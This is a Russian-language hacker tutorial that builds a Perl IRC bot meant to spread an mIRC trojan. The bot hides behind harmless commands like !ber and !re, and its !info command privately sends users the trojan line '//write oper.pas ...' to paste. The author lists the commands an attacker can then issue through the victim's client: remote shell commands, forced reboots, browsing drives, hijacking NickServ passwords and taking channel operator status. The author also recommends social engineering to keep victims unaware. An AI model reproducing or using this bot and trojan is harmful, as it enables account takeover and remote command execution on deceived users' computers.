[ Perl для хакеров или новый раунд ]

Привет user, сегодня мы с тобой поговорим о языке перл, узнаем о irc протоколе, напишем бота для irc сетки да не 
просто бота который будет говорить все привет и наливать всем пиво, а будет впаривать IRC трояны ;) И так поехали 
что нам надо знать для того что бы написать сначала просто бота который бы конектился и весел на указаном канале? 
Правильно команды irc протокола и конечно же знания по перлу и работа с модулем IO::Socket, те кто не силен в перле 
может взять кое что из этой статьи себе на заметку в любом случаее все будет понятно так как код я буду комментировать. 
И так давай сначала познакомимся с проколом irc то есть все его команды и возьмем то что нам нужно.

Команды IRC протокола:
/JOIN #channel Подключиться или войти на канал.
/JOIN #channel password некоторыйе каналы имею пароль для того что бы войти надо ввести пароль
/PART #channel Отключиться от канала.
/LIST получить список каналов
/ME message Сообщение от третьего лица.
/MSG nickname message Посылка приватного сообщения пользователю без открытия приватного окна.
/QUERY nickname message Посылка приватного сообщения пользователю с открытием приватного окна
/WHOIS nickname Запрос информации о пользователе.
/NICK nickname Изменение вашего ника на новый.
/QUIT [Все пакеда] Отключает вас от IRC сервера. 
/TOPIC #channel newtopic Изменение топика канала.
/INVITE nickname #channel Приглашение пользователю посетить канал.

Вот команды которые нам пригодятся в дальнейшем, все я не привел так как их много если что их можно скачать в нете, но 
еще команды которые понадобится во второй части статьи я приведу и так приступаем к написанию бота:

#!/usr/bin/perl

$nick="black";		#Указываю имя 
$ident="black"; 
$chanel="#test";	#Указываю имя канала где будет тусить бот

use IO::Socket;		#Подключаю модуль Socket
$socket = IO::Socket::INET->new(proto => "tcp", PeerPort => "6667", PeerAddr => "tcn.msk.solarnet.ru");	#Создаю подключение к серверу

И так что мы тут сделали? для начала мы переменным дали имя боту и названия канала, создали соединения с сервером, как 
видишь это сделать очень просто.
Дальше нам надо отправить на сервер данные, для этого используем две команды irc протокола NICK и USER и команду 
"send" как это сделать смотри ниже:

$socket->send("NICK $nick\n", 0);                                          #Отправка имени бота на сервер                                                                 
$socket->send("USER $ident localhost localhost :$nick\n", 0);              #Отправка идента на сервер

Все проще простого, дальше таким же методом мы заходим на канал для этого используем команду irc протокола JOIN и 
отпровляем команду на сервер.
После этого надо сделать боту бесконечный цикл приема сообщений и сделать функцию PING и PONG. Функция PING сделана 
специально от зомби, то есть если когда сервер посылает боту или пользователю PING и в течении времени не получает 
ответ PONG сервер отключает пользователя или бота от сервера, как все это реализовать смотри ниже:

$socket->send("JOIN $chanel\n", 0);			#Заходим на канал, посылая серверу команду JOIN
while( $bot = <$socket> ) {				#Создаем цикл
         print ($bot);					#Выводим все сообщения
           if ( $bot =~ /^PING(.*)$/i ) {		#Функция PING когда сервер пошлет нам PING
              $socket->send("PONG $1\n");		#Мы отсылаем PONG с помощью "send"
              }						#Закрываем функцию PING и PONG
}							#Закрываем цикл

Отлично наш бот на канале принимает сообщения, дальше будем уже шаманить а имено писать обработчики событий для бота, 
в него входят irc вирусы и трояны
давай немного отойдем от написания бота и поговорим о  троянах в irc сетях, узнаем как имено они работают. Для 
начала возьмем стырый как мир irc трояне //write oper.pas ctcp 1:*:?:$1- | Load -rs oper.pas что будет когда вы его 
подхватите:

1 - /ctcp Петя /JOIN #CHANNEL    с помощью этой команды мы можем сделать так, что бы жертва с именем Петя зашла на канал 
который мы укажем ;)
2 - /ctcp Петя /PART #CHANNEL  с помощью этой команды мы выкеним с канала нашего Петю
3 - /ctcp Петя /msg #CHANNEL  Message  с помощью этой команды мы пошлем от имени Петя сообщение
4 - /ctcp Петя /exit с помощью этой команды мы закроем irc клиент Пети
5 - /ctcp Петя /msg nickserv set password с помощью этой команды мы сменим пароль Пети :D
6 - /ctcp Петя /nick Петя_Демон с помощью этой команды мы сменим ник Пети
7 - /ctcp Петя /mode #channel +o Xakep Если наш Петя OP на канале то с помощь этой команды мы сделаем себя OP`ом :)
8 - /ctcp Петя /run command С помощью этой команды мы выполним на компьютере Пети команду MS-DOS :)))))
9 - /ctcp NICK /run shutdown -r с помощью этой команды мы перезагрузим компьютер Пети! Советую почитать команды CMD 
для выполнея других команд )
10 - /fserve xakep 4 c: - Если Петя ввел эту команду то мы сможем просмотреть содержимое дисков на компьютере 
используя команды CMD

Меры безопастности:
Чтобы юзер не запалил как вы сменили ему пароль вам надо сделать следующие выкидываем чела с помощью этой 
команды /Nickserv ghost Петя newpass потом меняем свой ник на имя Петя и выполняем /Nickserv set passwd newpass

И так мы узнали чем грозит такой трой, теперь мы вернемся к кодигу, для этого нам надо сделать несколько обработчиков 
событий что бы юзер не дагодался что наш irc - bot может поиметь его тачку, проще говоря применим обычную соц.инж :). 
И так для того что бы бот реагировал скажем на !info мы сделаем следующие в теле цикла:

while ($bot = <$socket>) {
         print ($bot);
          if ($bot =~ /^PING(.*)$/i) {
             $socket->send("PONG $1\n");
             }
             @part=split(/:/,$bot);
             @tmp=split(/!/,@part[1]);
                 $_user=@tmp[0];		#Жертва задающия команду
             @tmp=split(/ /,@tmp[1]);
                 $_id=@tmp[0];			#Идент жертвы
            @tmp=split(/ /,@part[1]);
                 $_cmd=@tmp[1];			#Команда IRC
            @tmp=split(/ :/,$bot);
                 $_bot=@tmp[1];			#Команда


          if($_bot =~ /^!info/){		#Проверка $bot на наличия слова !info
          @part=split(/ /,$_bot);
          if(@part[1]){
        $socket->send("PRIVMSG $_user : Все о irc вирусах введите эту команду для справки //write oper.pas ctcp 1:*:?:$1- | Load -rs oper.pas @part[1] \n");
           }else{
        $socket->send("PRIVMSG $_user : Все о irc вирусах введите эту команду для справки //write oper.pas ctcp 1:*:?:$1- | Load -rs oper.pas\n");
         }
        }
          if($_bot =~ /^!start/){		#Проверка $bot на наличия слова !start
          @part=split(/ /,$_bot);
          if(@part[1]){
       $socket->send("PRIVMSG $_user : Я бот канала мои функции !info - Все о мирк вирусах, !re - приветствие, !ber - выпить пива @part[1] \n");
           }else{
       $socket->send("PRIVMSG $chanel : Я бот канала мои функции !info - Все о мирк вирусах, !re - приветствие, !ber - выпить пива\n");
          }
        }
         if($_bot =~ /^!re/){			#Проверка $bot на наличия слова !re
        @part=split(/ /,$_bot);
         if(@part[1]){
       $socket->send("PRIVMSG $chanel : $_user говорит все привет @part[1] \n");
           }else{
       $socket->send("PRIVMSG $chanel : $_user говорит всем привет\n");
         }
       }
       if($_bot =~ /^!ber/){			#Проверка $bot на наличия слова !ber
      @part=split(/ /,$_bot);
       if(@part[1]){
     $socket->send("PRIVMSG $chanel : $_user Выпел пива Miller @part[1] \n");
        }else{
     $socket->send("PRIVMSG $chanel : $_user выпил пива Miller\n");
       }
     }
 }						#Закрываем цикл

Как видите мы написали обработчики событий, применили обычные регулярные выражения, в этом коде все давольно просто если 
юзер ввел команду !info то сообщения о вводе вируса будет отправлено ему в приват ;) Конечно мы дали нашему боту 
несколько простых команд к примеру !ber и !re, я думаю ты доделаешь бота и придумаешь ему более оригинальные события, 
для того что бы юзер не заподозрил в твоем боте нечего страного. Осталось только загрузить бота на сервер и искать 
белых мышек для тестирования бота. 

На последок пояснения к телу бота:
В теле бота мы использовали оператор if, он работает так если !info введено то бот отслылает с помощью send 
команду "PRIVMSG", так же вернемся к нашим переным в теле цикла как ты видешь $_user, $_id, $_cmd, $_bot. Как 
работает наш код? Переменая $_bot - "команда" в операторе if сравнивается с !info тут мы применили регулярное 
выражения ~/^test/ это выражение работает так, если не строго сравнивается с !info то отправляем сообщения на сервер. 
Даже если мы введем !info sucks то всеравно получим сообщение в приват, но если ты хочешь что бы строго по команде !info 
отсылалась команда то используй "eq" для строго сравнения "if($_bot eq !info)". Как ты видешь в отправке сообщения 
стоит то $chanel то $_user, тут все просто если стоит $chanel то сообщения отправляется на канал а если $_user то в 
приват :) 

Примечание к статье:
Конечно тема с irc троянами старая, но все таки решил поднять ее, irc сеть растет и даже старые методы иногда приносят 
плоды, в этой статье я хотел показать как легко кодить на Perl`e и совместить irc трояны. Конечно тут тебе пригодится 
соц.инж потому что почти на каждом сервере пишут о том что не надо вводить //write $decode, но думаю у тебя фантазия 
большая так что удачи.

(с) Outlaw